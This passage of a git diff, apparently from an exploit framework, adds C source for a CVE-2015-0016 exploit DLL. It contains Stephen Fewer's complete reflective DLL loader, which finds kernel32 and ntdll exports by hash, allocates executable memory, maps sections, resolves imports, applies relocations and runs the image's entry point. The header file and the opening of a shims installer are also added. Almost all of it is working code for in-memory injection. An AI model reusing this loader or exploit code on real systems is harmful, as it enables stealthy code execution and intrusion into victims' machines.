(www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h new file mode 100755 index 0000000000..3797879e47 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp new file mode 100755 index 0000000000..6faddcf4d3 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp @@ -0,0 +1,190 @@ +#include "ReflectiveLoader.h" +#include "ShimsInstaller.h" + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 + +typedef struct _MY_LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + //PVOID Reserved3[2]; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + //BYTE Reserved4[8]; + PVOID Reserved5[3]; + union { + ULONG CheckSum; + PVOID Reserved6; + } DUMMYUNIONNAME; + ULONG TimeDateStamp; +} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { + // Reserved. + ULONG Flags; + // The full path name of the DLL module. + PUNICODE_STR FullDllName; 